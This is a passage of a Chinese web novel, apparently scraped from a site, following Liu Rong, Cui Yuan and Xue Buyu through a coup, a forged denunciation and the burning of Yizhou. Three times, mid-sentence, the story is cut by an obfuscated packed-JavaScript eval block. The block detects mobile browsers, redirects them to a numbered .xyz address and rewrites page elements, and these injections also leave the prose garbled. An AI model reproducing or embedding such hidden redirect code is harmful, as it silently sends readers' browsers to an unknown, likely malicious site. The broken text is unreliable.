与花魁缠绵一夜的男人,次日大多赖着不起,又笑又说情话的,浓郁芬艳。崔元倒好,起得早,不曾笑,顾着败荷倾颓的水面,似在做场剖心的自省。 “哪来什么败不败的?”她笑。 可对方却道,她不懂,“若佛陀与你交|欢,也会痴醉,我一介凡俗,又怎能胜过。” 残荷枝上,一只将死的蜻蜓伶仃落水。 丙辰日,各地州官回朝述职。 崔元不是个耽误大事的性子,提前启程长安。 益州今岁破天荒地重查贪墨案,牵扯大批官吏与一侯爵下马,此去不知是问罪亦或是行赏,留下柳茸代掌益州。 先时受灾的村落已赈灾,县丞交了复命帖,柳茸决定亲身去探探落实的情况。 秋意萧瑟,村北供流民落脚的破屋里,孩童在翻跳花绳。 柳茸买了顶傩舞面具走近,刀光的寒意自道旁竹林侧侧泠出,直刺她咽喉。 那人是来杀她的,她直接将傩舞面具盖到对方头上,孩童的目光聚到了瑰丽奇异的面具上,齐刷刷围住了那人,欢呼、嬉闹。 薛不虞有些手足无措。 有孩童在场,不好见血。 脸上的傩舞面具取下也不是,戴上也不是。 柳茸执过他的手,合跳一场祭神傩舞,一双双稚嫩的小手高举着,期望再来一场。 大点的孩子采来黄梅花,撒做花雨,唱着歌,按着拍子,围成花篮状的小圈。有人甚至满脸新奇,上手摸了他腰间叮铃当啷的蹀躞带,他不恼,但有点无助。 迎着阵阵起哄声,薛不虞连跳三场舞,终是一人给折了一只枯草蚱蜢孩童们才肯放过他。 他摘下面具,面色不善。 带一次孩子比干十场仗还辛苦。 “你又逃了?”柳茸问。 “怕师兄不在你窃权夺位啊。”薛不虞比了个数,“三场舞,二十文。” “堂堂城阳公主幺子跟我们这些人要钱?” “公主府幺子不能要钱了?”薛不虞歇在一块断壁,背一碰壁面兔子般弹开。 斑驳的鞭痕从他腕低露出,崔元执鞭时下了狠劲,只怕后背鞭伤更甚。 柳茸掷来一瓶治膏药,他将信将疑接过,开瓶闻见清冽药香,才放下狐疑。 薛不虞观量了眼跟前人,她比一般女子高挑,不是练武之人,也没有经常跌碰的迹象。 他晃晃乳白的瓷瓶,“这药,不是你自己用的吧?” 柳茸道:“我有个弟弟,他很爱出去打架。” 她想到阿宝,那时柳茸初登台,偶尔有台后的龟奴污言秽语,被阿宝听见了,少不了一顿干架。 那段时间,他总是一身伤地坐在勾栏院门前,等柳茸去找,等到夜深了,缩在角落里,一声不吭地包扎着麻布,似头舔舐伤口的恶狸。 饶是柳茸来了也会得到他一声更羞愤的冷哼,“你来做甚!” “给你。”柳茸朝逆鳞竖起的小兽丢了罐伤药,他闻闻嗅嗅,一溜烟窜进黑暗里。 又窜出来,说:“我会长大的。” 这些话自然不会同薛不虞说。柳茸继续查探村子里的情况,义仓,半满,公仓,没有以石子充粮。 “嗐,柳大人,今日又换了这位小郎君来呀。”张姨和村妇们忙完农活闲坐着剥蒜,正愁没得人说趣。 有人啧啧几声,长得怪标致的,“我说你怎么看不上崔娃子呢。小郎君多大了?说亲了没?是在朝任职的吗?” “爹娘做什么活计?家有几亩地?屋头几口人?” 乡野村妇可不怕剑仙,杀气再重的江湖人士到孃孃眼里也要被挑三拣四。 薛不虞受不住,益州的狱丞该请她们去盘问犯人才是。 考察了一日一夜,村子没生大乱,但偶有侵吞流民救济粮的,仗着是村里人对柳茸赖皮不认。 铿锵白刃出鞘那些人才老实了。 薛不虞收起剑,注意到柳茸望过来的目光。 “别想多了,我帮的是我师兄,不是你。” 他跟着柳茸一路,若她敢趁师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906170|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄不在胡作非为,正好在路上解决她。可跟了一日一夜,一无所获,她在田里撩起裙摆下地,做草人逗孩子,在他看来无不碍眼。 收买人心的桥段,还真有人信。 直到有村夫瞄了眼柳茸在田间卷起裤脚的腿。 一把刀已架在村夫颈侧,“还看?那是我师兄的人。” 村夫落荒而逃,一壶酒投向薛不虞。 柳茸弯着眼儿,他微微挑眉,这个女人什么都知晓,“你又在耍何居心?” “做个交易如何?”柳茸道,“我给了你药,你帮我去震慑那些地痞。” 薛不虞鞘尾挑酒,飞身消失在树影里,“一壶就想收买?” 树上飞下一只八哥捎来口信:“十壶。” 冬至,崔元从京返程。 书阁许久没进人,柳茸派人扫尘。 “师兄居然给你书阁钥匙?”薛不虞讶异,书阁是崔元的重地,连崔母崔父都入不得。 柳茸亮出钥匙,“你看看是真是假?” 书阁大门随柳茸转动钥匙咔哒落锁。 不愧是狐媚。薛不虞盯着柳茸,“我师兄回来了,你要当心。” 柳茸:“怎么说?” “益州眼下官位空置太多,那几个夺位的王难免起心思,师兄这趟长安行怕被刁难不少。”薛不虞抱着剑,目若两颗淬火的玄冰铁石,“之前,我以为你是陈王安排的人。” 柳茸扫着书架,“刺史还有两日到益州,你有两日时间可逃。” 书尘淹没薛不虞的影子,“如果他没带人回最好不过,如果带了人,你自求多福。” 益州天府宝地,易守难攻,任谁都想以委婉柔和手段得之,崔元一来便大刀阔斧,清了一批官,剿了多年来盘根错节的关系,按灭蠢蠢欲动的势力,此举无异于得罪为益州官吏背书的朝臣。 但崔元回来时神色如常,只是眼底泛了淤青。 回益州头一日,顾不得歇息,崔元奔回府。 柳茸正处理公务,忽被人抱紧,笔落地打转。 连日未触的肌肤如久旱迎甘霖。有了先时的嵌合,崔元上手得熟练,竟有种小别胜新婚的滋味。 “你把聘礼还回来了,”崔元道,“我看见了,在库房里,为何?”他的语气在质问,说到为何时动作故意磨了些。 “那是公子该给新娘的,我不是。” 崔元额间若有青筋,“你不愿与我成婚,可我们已经……” “我,”柳茸心虚避开眼,她不欲在这种时刻被人凝着脸,奈何他越是情到深处越爱看着她,“还没想好。” “若当初我不出现,你就与杜攸之一走了之对吗?”崔元没了脾气,只想听一句好话,哪怕是床笫间哄他的,“还是随便是何人的车,你也会拦?” 柳茸捧起那张失神的脸,企图找回点上风,眼神揶揄,“若我真和杜攸之走了呢?” “我会祝福。但若那人非你良配,我就寻你,一路寻到为止,此生不休。” 此生头一次,崔元发觉她伶牙俐齿地可恨。 是真可恨。 索性不给她说话的空隙,送她入共同沉沦的欢愉。 27. 等人 他有取悦到她吗? 崔元不知。 毕竟她有过不算少的男人与丰足的情事…… 在漏刻滴到三更天后,枕边人醒了,撞见他未收回的目光,宽大的身形木讷住。 “公子,你不是想听我一句答复么。”柳茸笑痴痴点着他鼻尖。 他想矢口否认,被她抓住出了道考题,“那你知不知,我被人牙子卖了多少钱?” 崔元愚钝。 “五吊钱呢。”柳茸卷绕着交缠的青丝,“若被卖到屠店我可能就活不久了,幸亏,看上我的是姆妈。” 否则,连卖笑的机会也没有。这么一想,她大抵还算比一些人要幸运的。 崔元的胸膛砰跳,有情愫在撼着。 “其实当日择你,我心里到底是怕的,但我的人生只有死局,除了赌一把,闯出去,别无他法。” 柳茸轻描淡写,在月光下摆弄起了手指,那些过往似乎都成了闲叙的回忆。 一颗吻落在她眉心。 他将她抱紧,苦酿的潮水漫开在旖旎帘帐里,他终是明白,他们是自两个天地里来的人,纠结、缠绕。 “是我不该那样问。”他愧然,用尽骨间气力拥紧她。 “那就别再设想不曾发生的事。” 崔元颔首嗯着,俯视着躺在胸口上的人,将她翻下。 后半夜的情事,他来得更为卖力。 卖力到柳茸始料未及,在潮红与哼咛中睡去,随他梦里沉湎。 * 初春,宫里扶了个小皇帝。 说是新帝,唯柳茸清楚,一年后,他会有一个谥号,哀帝。 崔元没带任何人回益州,决意从益州本土选人填补空位,甚至禀明燕王勾结崔侯私吞帑银之事。 此事在年前断了燕王一足,新帝践祚,顺势大做文章,遣送燕王回封地。 但这还远远不够。燕王在一日,永远是个威胁,那株海棠花如心魔绕住柳茸。 她要彻底除之。 然而计划很快被一场宫变下碾如尘土。 离京城最近的雍王率先发难,攻入长安,挟令新帝,血洗朝堂,扶持新帝的太后母族被乱军沉河百人,太极宫上盘桓的苍蝇秃鹫几乎多了一圈。 风声传至益州时,柳茸蒯着茶碗的手一抖,湘竹茶针掉落在盘上。 雍王?不是一年后才发难的吗? 或许是这一世燕王离京,雍王见状提前了大计。 一条与前世不一样的分岔缓缓开枝散叶,许多变数已显形,朝与前世不一样的道路上驶去。 朝堂血色未消,雍王将手伸向各州,比如……益州。 耕耤之期将至,每年天子携百官亲身躬耕,向天下表率,百官皆要参与国祭,崔元也不例外。 世人都看出,雍王欲拿崔元开刀,杀鸡儆猴。 “别去!”柳茸拦在车外,车上,白衣公子拨着念珠。 此去长安,凶多吉少,可车上的人去意已决。 “起驾。”念珠拨到三十六颗,车内的人平视着一路通衢,放下的车帘掩住神容。 即使他不去,该找上益州的人终究会找上门。 “安心。”崔元的手掀开轩窗,他探出身,回以一笑。 “那好,你答应我,平安归来。” 崔元怔忪片刻,神情和煦,应下一句轻哼,“到那一日我给你带长安的糕点。” 记得她提过,最想吃长安的点心。 接下来几日,柳茸也忙起来,年关一过,积压的公务重新提上,先时因崔侯之死牵扯的崔府家伎,崔元酌情量刑,发配到了丝坊,服役后便可归籍改嫁。 柳茸以笔圈着空出的官位,大多不算紧要,几乎是通过举荐可得,可眼下在益州哪里找来那么多自己人? 望着丝坊的女子,她忽来一记。 “柳、柳大人,什么意思?你是说我们也能为官?” “不算为官,别驾、县丞之类自然不可能由你们接手,但官府办差的笔吏、调度钱仓的胥吏缺人手,诸位又都是识字的,若有人愿自告奋勇,我可以考虑就地考校。” “大人,我们是戴罪之身,先前又是伎子……” 柳茸嗯了声,“是个问题。” 旋即搁下笔,“但那又如何?” “可女子是不得科考的……”人声越说越没底气。 “从前男子也没有科考,后来,不也有了?”柳茸合上卷册,“路都是人走出来的。” 杼机间几名素衣女子跃跃欲试,“我们也可以试吗?” “刺史大人当真同意?” 柳茸舒下眉眼,送出一颗定心丸,“如今正值用人之际,若诸位能为出一份力,刺史乐见的。” “在选什么官呢?” 曛酣的人影花树坠下,惊得院内叫声连连。 青年一身霁蓝长袍,指端勾着酒壶,剑鞘上的金线光泽粼粼,勾勒出朵朵金合欢。 一窝被震下树的蠕虫,挪动青湿的身子乱爬,柳茸双肩发怵。 “原来你怕虫子啊。”薛不虞意味深长,像发现了不得了的趣事,捏起地上一根“青筷子”提到手背。 “拿走!”柳茸咬着发白的唇,“本官怕什么!” 不过就是长满刺毛的蠕动物罢了,她连床底的蟋蟀蛐蛐都不怕。 一睁眼,虫子正在眼前来回晃荡,柳茸再难忍受,扇去一掌,薛不虞旋身避开。 “你干的好事!”热闹的院子冷清下来,丝坊的女子逐一安抚走,择日再选官,柳茸重重将卷册拍到桌案。 薛不虞开怀大笑。 “别气了,我赔你酒,气多了老得快。”他手指处,案上不知不觉多了一坛酒。 是新酿的桃花酒,柳茸揭开红盖,花蜜酒香双双扑鼻。 薛不虞望着她的神情,饶有趣味,“何必把自己逼得那么紧?” “公务今日做了明日还有,寻常官吏五日一休沐,你至少十日未休了。” 每次他来,见到的都是劳碌匆忙的她,生生要榨干自己才罢休似的。 柳茸合上酒盖,“你跟踪我?” 青年转开眼,向天吹了声哨。 下一刻,他的身影神鬼不知地坐到案上。 “也算是瞒着我师兄同流合污的交情了,你跟着我,一同浪迹逍遥,如何?” 薛不虞一手拊着膝盖,“金银不会少你,不比在师兄身边当个又苦又累的窝囊官自在?” 话音未落,柳茸扬袖扫过桌案,逼他从案上跳下。 “你的酒,我心领了,但我不能同你走。” 薛不虞没有恼,“为何?” 剑鞘拦在她的腰侧,庭院一时风静尘消,柳茸听见自己的呼吸声,平缓匀长。 “郎君,”她终是启唇,“你是城阳公主之子,可以行侠仗义,可以杀人后抬刀便走,却不是……人人都能的。” “你弃如敝屣、视为辛劳之物,于许多人而言需要付出方能拥有。”手臂不自觉抱紧公文,“逍遥自在,是很奢侈的。” 薛不虞伸出的手堪堪收回。 酒坛被留在案上。 “酒真不要了?”没有回话即是默认,薛不虞翻上花树,叼开红盖,仰头接酒,视线再次瞥向渐隐的背影,久久未收。 官府里崔元下的通缉令尚未撤去,薛不虞倒是愈发大胆,不时出现在房梁上、花圃里。 柳茸知道,他在变相监视自己。 不过嘛,谁说不能借用一下呢? “十坛酒,搬个公文?”柳茸拎着酒绳来到。 “柳校书是在使唤我?” “你也不想崔刺史的公文被我的人藏什么猫腻吧?” 树下的人“哗啦”翻身,接过酒绳。 “搬多少?” 柳茸拉开门,卷轴重峦叠嶂。 “你!”薛不虞捏紧剑鞘。 “郎君是不愿吗?我倒是不介意现招呼府兵前来。” 柳茸作势喊人,被他捂住唇。 薛不虞狠狠瞪她一眼,一本不落搬完。 他极不情愿为自己做事,却还是在半要挟下做成每一桩,有几次浅睡,柳茸感到房梁上的存在,似乎在犹豫着要不要对动自己手脚。 她屏住气息,一夜无事,想来是放弃了。 次日,薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928250|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不虞多带了壶酒,说是亲手酿的。 那些她在树下研墨批牍的日子,他在树上采着墨香熏入的花蜜酿酒。 “你在树上潜伏多日,就是为了……酿酒?” “不行吗?”薛不虞倒上两樽酒,他会为了一场比试不远千里,登华山,过死招,也会为一朵顺眼的花,大动剑技将啃花虫劈成五截。 本来他最是应当与崔元相看两厌,事实也如此,入师门第一日二人就打了一架。 城阳公主与驸马老来得子,疼溺至极,长辈莫能管,送入佛寺修习,在族中何曾遇过比他还犟的人? 老僧人要弟子流浪,薛不虞果断改拜道门,还撺掇了好几位师兄弟,独有个叫崔元的,一幅苦瓜相。 “好喝吧?”薛不虞坐在石阶,长剑晾在腿边,“我酿的酒,必定一绝。” 酒略甜,醇后回甘,柳茸抿了口,酒意浸润丹唇,朱色红艳,“勉强。” 望着女子被酒点媚的春容,薛不虞喉间的酒有些许烧,“柳校书,怎么就对我不说好话?” “不是郎君最先对我发难的吗?”她双瞳剪水,有几分充愣或无意的无辜。 青年一滞,挑眉转着剑鞘,鞘尾停到柳茸一端,“到你了。” “光说我一人的陈年旧事没意思,你的定然比我有意思。” 她的过往? 柳茸看着他,仿若模糊岁月穿回多年前血腥弥漫的梳弄夜,少年青涩染血的面庞,血沿他的颌滴落。 而今,一张七八分像的脸近在眼前,眉骨长开,脱去稚气,光影下依稀与当年别无二致。 她取过秦琴,按指拨弦。 言语苍白无力,她所有的过往,皆藏在了琴音里。 琴会代她作答。 琴曲结束,柳茸再睁眸子,目之所及是薛不虞无限放大的眉眼,偌大个人不知几时坐到了咫尺间,半瞰着端详自己。 “我似乎明白师兄为何钟意你了。”他捧着右颊,语气不偏不倚,“你弹琴,比他能听。” 士族公子六艺皆精,崔元的琴艺能泣鬼神,薛不虞深受其害,今日可算听到天籁。 据薛不虞说,比长安平康坊胡姬的琵琶还好听。 “长安……好玩吗?”柳茸垂下眼帘。 华灯绘梦的坊市、星罗棋布的街道、恢宏堂庑的太极宫,薛不虞口中的京城宛若天上仙都。 两世了,她还一次都没去过呢。 薛不虞啧了声,“无趣得很,不然你以为我为何要跑,到了长安就要招呼各路妖魔,宵禁比益州严上百倍,内城不是各家暗卫便是金吾卫,走一步有十个人盯着。” “听起来很有意思。”柳茸道。 薛不虞枕臂思虑了下,举着酒壶,展颜而笑,“改日带你去。” “近日么,爷得闭关。” 柳茸:“闭关?” “道门也不是好当的。” 说着,他故作委屈叹了口气,“第二任师父寄信说要闭关炼丹,作徒儿的实在是师命难违,不得不上山相陪,少则半年多则一年。” 半年到一年…… 雍王逼宫,天子耕耤,偏生在多事之秋闭关,虽说何时闭关是道门之事可真会是巧合?直觉在作响,柳茸起身催促,“快去找崔元。” 薛不虞不明所以,见到她的脸色,正色下来,猜出事态有疑。 迅速飞身上树,他喂了声,大喊:“若他一根头发没少我就是违抗师命了,你打算怎么赔我——” “你何曾怕违抗师命了?” 薛不虞大笑,“信你一回!” 他飞身而去,不逮片刻赶往长安。 薛不虞赶往那日,花树全然绽放。 然而,最想见到此景的两个人翩翩都不在益州,这份光景唯赠予了最不关注它的柳茸。 案侧落下的花砸至眼皮,多日了劳累,柳茸以为是薛不虞回来了在使坏,回身一望,花树成海。 她听见地动声,手掌勒紧缰绳的声音、有马儿在嘶吟。 是崔元? 然而回来的不是崔元,益州刺史没有如约回来。 踏入城门的,是朝廷来的人马。 28. 升官 仪仗列开,马车驻在府衙前,乌泱的卫兵涌来,淹没门前登闻鼓。 身着官袍的人下马,面皮白净,没有胡须,是位阉官,双手捧着一卷紫绶封裹的诏谕。 不对劲。 回崔府的路被兵马隔断,三重卫兵围住阖府外墙,瞬息万变间,柳茸目光投向案台笔墨,即刻修书去请距此地最近的赵玉则。 若真是雍王遣人来,陈王不会乐见其坐大。 匆匆写好一则,小吏囫囵跑进,绊倒在门框,“大人、如何是好?外边好像是朝廷的人!” 柳茸绞紧指节,温冷的唇无喜无悲吐出几字:“开正门,接客。” 门闩抽出,肝红的府衙铜门步步拉开,柳茸一身醒目官服,在火把映衬下烨烨流辉。 “何人敢围刺史府?” 为首的阉官一愣,饶是在宫中侍奉多年也难得见此明眸善睐之人,但到底摸爬多年,不动声色掩住细微的神情,拆开紫绶徐徐展着手中诏谕。 “从三品益州刺史崔元崔子白,党同赵王谋逆,鸩弑天子,依圣人衣带诏,已褫官夺位,覆奏下狱。” 柳茸如堕冰窖。 跪地听旨的膝盖僵冷如死物,骨间是麻木的“咯咯”声。 阉官在她头顶正式宣读诏狱,然而落到柳茸耳中只余雷声轰隆。 小皇帝于耕耤大礼上祭酒,一口酒入肚,毒发身亡,经手鸩酒的一干宫人皆已问刑伏诛,指认是崔元主使,唯有崔元,拒不认罪。 赵王,是博陵崔氏选中的人,不少在朝为官的崔氏族人连同下狱。偏生是崔元,偏生扯出赵王。 “此事有冤。”柳茸死死凝着来人。 “柳大人,何来的冤?”阉官略发疑。 绛紫的绶带垂在眼帘处,刺目碍眼,“我愿入京上谏,陈明冤情。” 见此情形,阉官笑了。 柳茸不明他笑从何来,只见他袖边多出了一卷白麻纸书的手谕。 “咱家此行不止为益州刺史谋逆一事,若为刺史谋逆,不必亲下益州。”阉官展开诏书,“柳大人,接旨吧。” 心在鼓鼓狂跳,一道渺如烟雾的预感飘过脑际,直钻出一个念头——不要听。 不能听他接下来的话!然而迟了一步,阉人细长的声调里,天家手谕被一字不落宣出口。 ——校书郎柳茸,举告益州刺史崔元与赵王通,意图逆乱,有功,特晋为长史。 字字千钧,清晰可辨。 “大人的密信虽迟达京师,未能拦截贼党,但若非大人作此铁证,乱贼难下狱。听闻大人是崔贼一手提拔,能有如此大义灭亲,功不可没。” 良久,柳茸在长久的耳鸣中忡忡抽离,“你,说谁?谁状告了崔元?” “雍王殿下与各部重臣谢过大人。” 阉官轻飘飘的话,柳茸如遭棒喝。 “我没有交过任何密信,更无告御状,放了刺史。” 阉官不为所动,周遭刀戈冷列,无一人因她的话动一根指头,偶有风吹起枪上红缨。 “大人谦逊,可认得这纸上的字?” 泛黄的麻纸递到面前,心中有声叫嚣着莫要接,柳茸颤巍着指尖接过。 她缘何认不得,她应当认得的。 是平素所用的信纸没错、是自己的密印不假,熟悉又陌生,以及……那看了十几载、这只拿信的右手写了十几载的字迹。 而自己的密印,除了崔元,唯有一人得到过。 柳茸轻笑出声。 方才有一刻自己竟想着写信向他联手求援。 早知赵玉则不简单,交手次数也不过尔尔,谈不上深交,更遑论全然交付,几封密信,便能算计到今时今日。 他真是请了个摹字的高手。 难怪他应允崔元替自己的请封。赵玉则,自打与自己相识的第一眼,就已谋划到有这一日了吧。 既解决控制不了的崔元,又除掉五子之一的赵王,一石二鸟。连带博陵崔氏,一并敲打、压制。 甚至,顺水推舟卖了自己一个“人情”。无论她是否真是他的人,升官手谕一下,也已是他的人了。 崔元为她请封,她却秘叛崔元,不忠之名会和大义灭亲一样,如影随形,她哪也不能去,只能与他同坐一舟。 现如今要作何解释?解释这不是自己所书? 柳茸瞪向阉官,企图看他的神情,终看懂六个字:必须是。 是不是柳校书亲笔所书不重要,只要告密之人是“柳茸”即可。 “恭贺大人。”阉官作揖。 “让我去崔府。”柳茸收起万千心绪,踏前一步。 府里书房有自己的密印,赵玉则伪刻的密印再逼真,只要与真印细细对比也定有瑕疵。 “大人。”阉官拦在前头,柳茸冷冷视他一眼。 “我的衣物都在崔府。” 阉官没料到她说得如此直白,须臾道:“大人,咱家还没念完。” “照律,查封刺史府,抄没家财。” 官兵撞开府门。 “夜雾大起,打翻灯台,不慎走水。” 柳茸看见火把烧起的火光,阉官的声音继续响起。 “火势过大,刺史府罪物烧尽无遗。” 火光冲天,里中府兵与官兵的交戈声传来,柳茸冲上前,被盔甲做的肉墙死死拦在官署内。 在红亮的火色之上,似乎有一道不可逾越的鸿沟,一条横贯在天家与官民之间的天堑,横断住她向天举起的手。 一举能定人生,也能定人死。 忽然,脚底一凉,柳茸朝下看,有人将她带离了那片炙热的淤潭。 “薛不虞?”滚烫的双颊逐渐在岚风里凉却。 绣履云靴落在城外竹林地,薛不虞带她上马,往深处奔去。 借着月色她瞧清青年的脸,颊边添了不少斑驳的锐伤,衣上仆仆风尘,他胸膛宽阔,在马背颠簸中供她安放头疼的头,却奇怪地话少,整个人沉郁不少。 薛不虞回来了,不是去探崔元了么,为何会回来。 “薛不虞?”路途无声,柳茸率先打破。 “别出声!” “他死了,对吗?” 话音落下,马鞭的声音无了,他们都心知“他”是指谁。 马鞭再一次响起来,更重,更亮。 “他说你喜欢白梅,喜欢醇酒。”薛不虞的双眸掩在夜里,“他还说,恭祝你高升,他的聘礼,送不到你手上了。” 薛不虞蓦地咬牙,虎牙抵在唇缘,似被耍怒的兽,“什么烂摊子的破事!爷是来逍遥快活的,不是来掺和你们斗这个斗那个的!” “我这就带你去见他!自己说去!” 柳茸面无表情,木然望着夜下竹林墨一般流转。 斜月偏西,她道:“花开了。” “嗯?” 胸膛传来那人闷响,颤着她的肌肤。 薛不虞不懂紧要关头提花做什么,半晌反应过来,淡淡道:“嗯,花开了……” 崔府的花已焚于火海,见不到了。 火光又出现了。 是一片村庄,柳茸眼尖,一眼认出,心中猛坠一击,不顾疾驰的马义无反顾跳下。 “你疯了!”薛不虞搀起从马上跌落连滚好几圈的人,正要为她擦去面上尘,也注意到了被烧的村落。 “这是……” 村庄烧得热闹,却无人声,上窜的火点燃树干,如幢幢鬼影。 火势大得离谱,真有点燃物烧不灭?有的,曾经柳茸亲自监督的粮仓,满眼欣喜看着充盈的仓谷,成了夺命的催命符。 破屋等着看傩戏的孩童、乱点鸳鸯的张姨、盼着明日的流民,都吞噬在大火中。 薛不虞在火海里,捞到一只草蚱蜢。 数日前,收到的孩子对他说过,会好好留着它。 大火吞没的村子,亦如益州的明日。 柳茸想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934584|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到小青、秋姨,想到还在家中等收成的老农,也不知红花挡住官兵没有。 “我要回去。” “师兄他在等你。” “他会理解我的。”柳茸没有回头。 薛不虞干涩着嗓,最后发问,“你想好了,你不去就错过他最后一面了。” 她的步履丝毫未停,走向火势外环焦得面目全非的村民。 “好!不去便不去,我陪你来。”青年霜剑一横。 “你不去见崔元了?”柳茸略讶。 “不见了,‘狼心狗肺’的。好心为他闯死牢不肯走就算了,还以死相逼命我来护你,我答应过他,来护你周全。” “那我也托郎君一事。” “说。” “别管我,先去崔府。”柳茸道。 “我答应过师兄要跟着你的!” “那再答应我一次又何妨?先去崔府救人,薛不虞,定有人还活着,他们需要你。” 薛不虞深吸一口气,似在艰难抉择,嗓音低哑:“一起走?” 柳茸摇摇首,“我不会武,我在对你动手无益。” “朝廷的人寻到我也自会带我府衙,在此之前,”她转向尸首,“我要安葬他们。” * 埋人是个大工程,一日做不完,柳茸能做的只有在火场带出尽可能尸身。 头晕目眩,焦热熏得双目流泪,她急忙跑到山风口喘息。 有马蹄声接近。 不会是薛不虞,他把马留给了自己,轻功踏月离去。 “搅扰大人。”一架华盖车在前方,赵玉则身旁的老仆走出车外,儒雅清癯如故。 “为何要杀他们?”柳茸指向不远处,一排排衣衫不整的尸身安静长眠,“他们做错了什么?又何曾判了谁?” 她不信赵玉则不晓得这片村庄发生过的事以及自己为之付出的心血,所以这只有可能是,下马威。 不止做给她看,更是做给益州,做给其余心有不服之人。 老仆平视着她,面色温和蔼然,“此事并非主人的意思,雍王殿下如今已是摄政王,需要益州归拢。” “雍王……”柳茸启着干裂的唇角,“这些百姓是你们用之即弃的棋子么?” “主人吩咐了,将此地生民好生安葬,一个不少,往后立庙盖塔,故派仆来。” 几名官兵利落地搬动着尸身,为衣衫不整者穿衣披白。老仆转向柳茸,似在等她答复。 挣扎过一段不算短的时间,柳茸站起坐麻的身子。 “替我转告你家主人,我可以为他所用,但我,要先见崔元一面。” 崔府的火仍在烧,薛不虞从火场中救下负伤的红花与晕厥的小青。 “秋姨呢?刘管事呢?”柳茸问。 他垂下目,柳茸了然,不再过问,转而去探活人的鼻息。 老仆对阉官私语片刻,卫兵欲上前逮捕崔府之人,阉官摆手作罢。 “走罢。”阉官正要离开,脑袋滚落在地。 薛不虞动了手,顿时杀声四起,光影明暗中卫兵杀成一团。 火烧了两天两夜。 柳茸疲于稳定益州民情,直到第五日,方派人于雨后的崔府中搜残留的尸骸。 她学着崔元,给死去的人穿戴上寿衣,动作很不熟练,一日下来数百根衣带刮红指缝,不知怎的,她忽觉见到了当年替死人穿衣的少年。 一根玉簪掉落,柳茸冷眼看它摔在地上,簪头刻着绮丽的蜀葵,如今看,竟与那根断了的海棠玉簪没什么分别。 直到薛不虞抱住自己,她才意识自己又倒下了。 他将头靠在自己颈窝,翻开自己发红的掌心,愕然间深吸一口,忍着即将爆发的恚怨,“为何不叫我来系?!” “我答应过师兄,要——” 柳茸捏住他的唇,语气平静,“扶我起来,我要走了。” “去哪儿?” “去长安。” 29. 长安 去长安的路上,柳茸缄然不言。 她曾期待过长安的城门是何等恢宏,幻想自己达到时该是如何如何惊叹,怀着希冀踏进帝都。 这些梦在大火后化为灰烬。 自己还不够有力量,她想。不够,远远不够。明明摆脱了贱籍,做了官吏,她的力量仍旧不够守住身后的人与事,得到的终要失去。 长安,才有她想要的一切。 “阿茸。”薛不虞拉住柳茸越陷越深的思绪,拔开水囊塞子,仰头饮了口水,没有对口,接着抛给了她。 那瓣未着口脂的丹唇缀饮着,囊口水珠滋进美人的唇隙里,他生起别样情愫,突然不教她用自己的水囊了,向货郎买了一副。 “是我害了他们。” 害了村子,刺史府,以及那个人。 一根狗尾草凑到柳茸鼻端,她生生打了个喷嚏,薛不虞拿回叼在嘴边,“害他们的人不是你,是有人害了他们。” 他颌角一扬,“害他们的人来了。” 柳茸按住薛不虞即将出鞘的的剑,她的力道说不上多大,常年习剑的剑仙却当真被拦了下来,“别杀他。” 察觉薛不虞投来的眼神,柳茸解释,“赵玉则不能死得轻易,太便宜了。” 腥风血雨初歇,草率杀了赵玉则势必掀起新一轮火与血,总要等……等到他被拔尽爪牙掀不起任何风浪时,再杀了。 京畿城门关前,立着幂篱罩身的男子玉骨身姿,徐徐风吹,衣摆在幂篱纱幔下若春水縠纹,出尘不染。 本该是半遮面的玉人谪仙,柳茸望着生不起一丝惊艳,只在想,何时,才有拔尽这样的人爪牙一日,那一日会是什么反应?还会同今日般风逸翩翩么。 “柳大人,别来无恙。”赵玉则作着揖,特意恭候在城关前。 “我何德何能让殿下替我接风?”柳茸疏离地坐在马上。幂离下的容颜,她观不透,只听到淡淡笑意。 “能给赵某一份尽地主之谊的机会,是大人宽容。” 陈王府的家仆送上礼,礼不多,一看便是备好的。 自己去长安之事一共透露没几人,柳茸冷色凝着礼匣,抬手关上,“殿下言重了。我能有今日,不正是托了殿下的大恩吗?” 赵玉则意味深长,“我送的礼姑娘可喜欢?” “喜欢,喜欢得紧……”她唇上挂笑,眸中无一分喜悦,“我一介小官,蒙殿下青睐高升,怎能不生欢喜呢?” “那便好,看来我送的礼,是合了大人的心意。” 柳茸眼尾微红,对薛不虞伸腕登上马车,道了声驾马,马身径直略过赵玉则向门关去时,她轻声道:“下官他日,定会回礼。” 车座扰动的尘风卷着周边空气,带起幂离轻纱。 幂篱里的人面闻言儒然拱手,低低笑了,“本王,拭目以待。” 